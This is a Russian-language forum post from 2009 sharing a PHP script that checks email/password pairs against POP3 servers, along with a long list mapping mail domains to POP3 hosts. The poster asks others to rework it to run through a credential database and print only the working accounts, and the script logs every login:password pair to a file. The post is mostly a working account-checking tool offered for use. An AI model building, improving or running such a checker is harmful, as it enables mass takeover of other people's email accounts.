Вот сырец скрипта который проверяет соответствие пароля мылу...
Данные надо записывать в файл постоянно.
Я малость переделал и гетом засылаю в скрипт.
Но мне кажется это каменный век, да и скрипт тупит честно говоря.
Если кому не сложно не могли бы посмотреть переделать что бы класть базу рядом со скриптом и запускать его и получать в выводе только "ОК" мыла?
PHP код:
<?
/*
Emails Account Cheeker (через POP3)
Поддержимаемые домены в domains.txt
Coded by preda1or
*/
global $error,$err_more,$server_reply,$result;
set_time_limit(0);
error_reporting(0);
//так было....
//$login="vasia@mail.ru";
//$password="123456";
// а так Я сделал для передачи гетом
$login=$_GET['login'];
$password=$_GET['password'];
if(mail_check($login,$password))
{
global $result;
echo $result;//если удачно
mail_check_log($result);
} else {
echo $result;//если неудачно
mail_check_log($result);
}
function mail_check($login='',$password='')
{
global $error,$err_more,$server_reply,$result;
$pattern = "^([_a-z0-9-]+)(\.[_a-z0-9-]+)*@([a-z0-9-]+)(\.[a-z0-9-]+)*(\.[a-z]{2,4})$";
if(ereg($pattern,$login))
{
$servername=pop3_get_servername($login);
if(pop3_server($servername))
{
$login2=explode("@",$login);
$login2=$login2[0];
if(pop3_login($login,$password,$servername) or pop3_login($login2,$password,$servername))
{
$result="OK";
return true;
} else {
$error="'pop3_login()' FAILED";
$result="FAIL: $error";
$server_reply=str_replace("\r\n","",$server_reply);
if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
return false;
}
} else {
$error="'pop3_server()' FAILED";
$result="FAIL: $error";
$server_reply=str_replace("\r\n","",$server_reply);
if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
return false;
}
} else {
$error="'ereg()' FAILED";
$result="FAIL: $error";
$server_reply=str_replace("\r\n","",$server_reply);
if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
return false;
}
}
function mail_check_log($result='')
{
global $login,$password;
if(strlen($result)>0)
{
$result=str_replace("\n","",$result);
$result=str_replace("\r","",$result);
$f=fopen("mail.log","a");
fwrite($f,"[".date("m.d.y - H:i:s")."] [$login:$password] [$result]\n");
fclose($f);
}
return null;
}
function pop3_get_servername($email='')
{
$servers=file("pop_servers.dat");
$i=0;
while($i<sizeof($servers))
{
$current=explode(":",$servers[$i],2);
$email_expl=explode("@",$email,2);
if($current[0]=="@".$email_expl[1])
{
$current[1]=str_replace("\r","",$current[1]);
$current[1]=str_replace("\n","",$current[1]);
return $current[1];
$i=sizeof($servers);
}
$i++;
}
}
function pop3_server($host='',$port='110',$timeout='60')
{
global $err_more,$server_reply;
$s=fsockopen($host, $port, $errno, $errstr, $timeout);
$err_more="\$errno=$errno, \$errstr=$errstr";
if($s)
{
$line=fread($s, 256);
if(eregi("\+OK",$line))
{
fputs($s,"QUIT\r\n");
return true;
} else {
return false;
$server_reply=$line;
}
fclose($s);
} else {
return false;
}
}
function pop3_login($login='',$password='',$host='',$port='110',$timeout='60')
{
global $err_more,$server_reply;
$s=fsockopen($host, $port, $errno, $errstr, $timeout);
$err_more="\$errno=$errno, \$errstr=$errstr";
if($s)
{
$line=fread($s, 256);
if(eregi("\+OK",$line))
{
fputs($s,"USER $login\r\n");
$line=fread($s, 256);
if(eregi("\+OK",$line))
{
fputs($s,"PASS $password\r\n");
$line=fread($s, 256);
if(eregi("\+OK",$line) and !eregi("\-ERR",$line))
{
return true;
fputs($s,"QUIT\r\n");
} else {
$server_reply=$line;
return false;
}
} else {
$server_reply=$line;
return false;
}
} else {
$server_reply=$line;
return false;
}
fclose($s);
} else {
return false;
}
}
?>
вот и недостающий файлик pop_servers.dat
PHP код:
@mail.ru:pop.mail.ru
@list.ru:pop.list.ru
@bk.ru:pop.bk.ru
@inbox.ru:pop.inbox.ru
@e-mail.ru:mail.e-mail.ru
@vipmail.ru:mail.vipmail.ru
@supermail.ru:mail.supermail.ru
@goldmail.ru:mail.goldmail.ru
@goldenmail.ru:mail.goldenmail.ru
@emails.ru:mail.emails.ru
@e-mails.ru:mail.e-mails.ru
@pochta.ru:mail.pochta.ru
@fromru.com:mail.pochta.ru
@front.ru:mail.pochta.ru
@hotbox.ru:mail.pochta.ru
@krovatka.net:mail.pochta.ru
@land.ru:mail.pochta.ru
@mail15.com:mail.pochta.ru
@mail333.com:mail.pochta.ru
@pisem.net:mail.pochta.ru
@pochtamt.ru:mail.pochta.ru
@pop3.ru:mail.pochta.ru
@rbcmail.ru:mail.pochta.ru
@smtp.ru:mail.pochta.ru
@yandex.ru:pop.yandex.ru
@narod.ru:pop.narod.ru
@rambler.ru:pop3.rambler.ru
@gmail.com:pop.gmail.com
@newmail.ru:pop.newmail.ru
@nm.ru:pop.newmail.ru
@hotmail.ru:pop.newmail.ru
@nightmail.ru:pop.newmail.ru
@algerie.cc:pop.gawab.com
@blida.info:pop.gawab.com
@mascara.ws:pop.gawab.com
@oran.cc:pop.gawab.com
@oued.info:pop.gawab.com
@oued.org:pop.gawab.com
@bahraini.cc:pop.gawab.com
@manama.cc:pop.gawab.com
@cameroon.cc:pop.gawab.com
@djibouti.cc:pop.gawab.com
@timor.cc:pop.gawab.com
@alex4all.com:pop.gawab.com
@alexandria.cc:pop.gawab.com
@aswan.cc:pop.gawab.com
@banha.cc:pop.gawab.com
@giza.cc:pop.gawab.com
@ismailia.cc:pop.gawab.com
@mansoura.tv:pop.gawab.com
@portsaid.cc:pop.gawab.com
@sharm.cc:pop.gawab.com
@sinai.cc:pop.gawab.com
@suez.cc:pop.gawab.com
@tanta.cc:pop.gawab.com
@zagazig.cc:pop.gawab.com
@eritrea.cc:pop.gawab.com
@guinea.cc:pop.gawab.com
@najaf.cc:pop.gawab.com
@amman.cc:pop.gawab.com
@aqaba.cc:pop.gawab.com
@irbid.ws:pop.gawab.com
@jerash.cc:pop.gawab.com
@karak.cc:pop.gawab.com
@urdun.cc:pop.gawab.com
@zarqa.cc:pop.gawab.com
@kuwaiti.tv:pop.gawab.com
@safat.biz:pop.gawab.com
@safat.info:pop.gawab.com
@safat.us:pop.gawab.com
@safat.ws:pop.gawab.com
@salmiya.biz:pop.gawab.com
@kyrgyzstan.cc:pop.gawab.com
@baalbeck.cc:pop.gawab.com
@hamra.cc:pop.gawab.com
@lebanese.cc:pop.gawab.com
@lubnan.cc:pop.gawab.com
@lubnan.ws:pop.gawab.com
@agadir.cc:pop.gawab.com
@jadida.cc:pop.gawab.com
@jadida.org:pop.gawab.com
@maghreb.cc:pop.gawab.com
@marrakesh.cc:pop.gawab.com
@meknes.cc:pop.gawab.com
@nador.cc:pop.gawab.com
@oujda.biz:pop.gawab.com
@oujda.cc:pop.gawab.com
@rabat.cc:pop.gawab.com
@tangiers.cc:pop.gawab.com
@tetouan.cc:pop.gawab.com
@dhofar.cc:pop.gawab.com
@gabes.cc:pop.gawab.com
@ibra.cc:pop.gawab.com
@muscat.tv:pop.gawab.com
@muscat.ws:pop.gawab.com
@omani.ws:pop.gawab.com
@salalah.cc:pop.gawab.com
@seeb.cc:pop.gawab.com
@pakistani.ws:pop.gawab.com
@falasteen.cc:pop.gawab.com
@hebron.tv:pop.gawab.com
@nablus.cc:pop.gawab.com
@quds.cc:pop.gawab.com
@rafah.cc:pop.gawab.com
@ramallah.cc:pop.gawab.com
@yunus.cc:pop.gawab.com
@abha.cc:pop.gawab.com
@ahsa.ws:pop.gawab.com
@albaha.cc:pop.gawab.com
@alriyadh.cc:pop.gawab.com
@arar.ws:pop.gawab.com
@buraydah.cc:pop.gawab.com
@dhahran.cc:pop.gawab.com
@jizan.cc:pop.gawab.com
@jouf.cc:pop.gawab.com
@khobar.cc:pop.gawab.com
@madinah.cc:pop.gawab.com
@qassem.cc:pop.gawab.com
@tabouk.cc:pop.gawab.com
@tayef.cc:pop.gawab.com
@yanbo.cc:pop.gawab.com
@dominican.cc:pop.gawab.com
@khartoum.cc:pop.gawab.com
@omdurman.cc:pop.gawab.com
@sudanese.cc:pop.gawab.com
@hasakah.com:pop.gawab.com
@homs.cc:pop.gawab.com
@latakia.cc:pop.gawab.com
@palmyra.cc:pop.gawab.com
@palmyra.ws:pop.gawab.com
@siria.cc:pop.gawab.com
@tajikistan.cc:pop.gawab.com
@bizerte.cc:pop.gawab.com
@gafsa.cc:pop.gawab.com
@kairouan.cc:pop.gawab.com
@nabeul.cc:pop.gawab.com
@nabeul.info:pop.gawab.com
@sfax.ws:pop.gawab.com
@sousse.cc:pop.gawab.com
@tunisian.cc:pop.gawab.com
@ajman.cc:pop.gawab.com
@ajman.us:pop.gawab.com
@ajman.ws:pop.gawab.com
@fujairah.cc:pop.gawab.com
@fujairah.us:pop.gawab.com
@fujairah.ws:pop.gawab.com
@khaimah.cc:pop.gawab.com
@sanaa.cc:pop.gawab.com
@yemeni.cc:pop.gawab.com
@zambia.cc:pop.gawab.com
@gawab.com:pop.gawab.com
@algerie.cc:pop.gawab.com
@bahraini.cc:pop.gawab.com
@cameroon.cc:pop.gawab.com
@djibouti.cc:pop.gawab.com
@dominican.cc:pop.gawab.com
@eritrea.cc:pop.gawab.com
@falasteen.cc:pop.gawab.com
@guinea.cc:pop.gawab.com
@kuwaiti.tv:pop.gawab.com
@kyrgyzstan.cc:pop.gawab.com
@lebanese.cc:pop.gawab.com
@lubnan.cc:pop.gawab.com
@lubnan.ws:pop.gawab.com
@maghreb.cc:pop.gawab.com
@omani.ws:pop.gawab.com
@pakistani.ws:pop.gawab.com
@siria.cc:pop.gawab.com
@sudanese.cc:pop.gawab.com
@tajikistan.cc:pop.gawab.com
@tunisian.cc:pop.gawab.com
@urdun.cc:pop.gawab.com
@yemeni.cc:pop.gawab.com
@zambia.cc:pop.gawab.com
@tut.by:mail.tut.by
@spam.lv:mail.spam.lv
@eclub.lv:mail.eclub.lv
@fit.lv:mail.fit.lv
@sok.lv:mail.sok.lv
@zabor.lv:mail.zabor.lv
@iphon.biz:mail.iphon.biz
@human.lv:mail.human.lv
@lv-inter.net:mail.lv-inter.net
@loveis.lv:mail.loveis.lv
@latchess.com:mail.latchess.com
@bmx.lv:mail.bmx.lv
@sexriga.lv:mail.sexriga.lv
@dino.lv:mail.dino.lv
@5005.lv:mail.5005.lv
@a.ua:pop3.a.org.ua
@a.org.ua:pop3.a.org.ua
@company.org.ua:pop3.a.org.ua
@uaix.info:pop3.a.org.ua
@ua.fm:ua.fm
@gala.net:mail.gala.net
@a.org.ua:pop3.mymail-in.net
@mymail-in.net:pop3.mymail-in.net
@mytop-in.net:pop3.mymail-in.net
@topping.com.ua:pop3.mymail-in.net
@peugeot-club.org:pop3.mymail-in.net
@uaix.info:pop3.mymail-in.net
@woman.in.ua:pop3.mymail-in.net
@xsecurity.org:pop3.mymail-in.net
@e1.ru:mail.e1.ru
@HotPOP.com:pop.hotpop.com
@PunkAss.com:pop.PunkAss.com
@SexMagnet.com:pop.SexMagnet.com
@BonBon.net:pop.BonBon.net
@ToughGuy.net:pop.ToughGuy.net
@Phreaker.net:pop.Phreaker.net
@GameBox.net:pop.GameBox.net
@meta.ua:webmail.meta.ua
@bigmir.net:pop.bigmir.net
@itua.info:pop3.itua.info
@inet.ua:mail.inet.ua
@fm.com.ua:mail.inet.ua
@freemail.com.ua:mail.inet.ua
@gmail.ru:mail.gmail.ru
@dinamomail.ru:mail.dinamomail.ru
@hrono.ru:mail.hrono.ru
@icqfoto.ru:mail.icqfoto.ru
@kievmail.ru:mail.kievmail.ru
@lmail.ru:mail.lmail.ru
@mirabilis.ru:mail.mirabilis.ru
@radiomail.ru:mail.radiomail.ru
@refer.ru:mail.refer.ru
@spartakmail.ru:mail.spartakmail.ru
@tvmail.ru:mail.tvmail.ru
@wmail.ru:mail.wmail.ru
@womenmail.ru:mail.womenmail.ru
@elitemail.ru:mail.elitemail.ru
мне кажется что в скрипте что то сильно наворочено и заморочено...
не может коннект и отклик так долго идти...
если сделаете, не сочтите за труд стукнуть
ася 183917
21.12.2009, 19:52
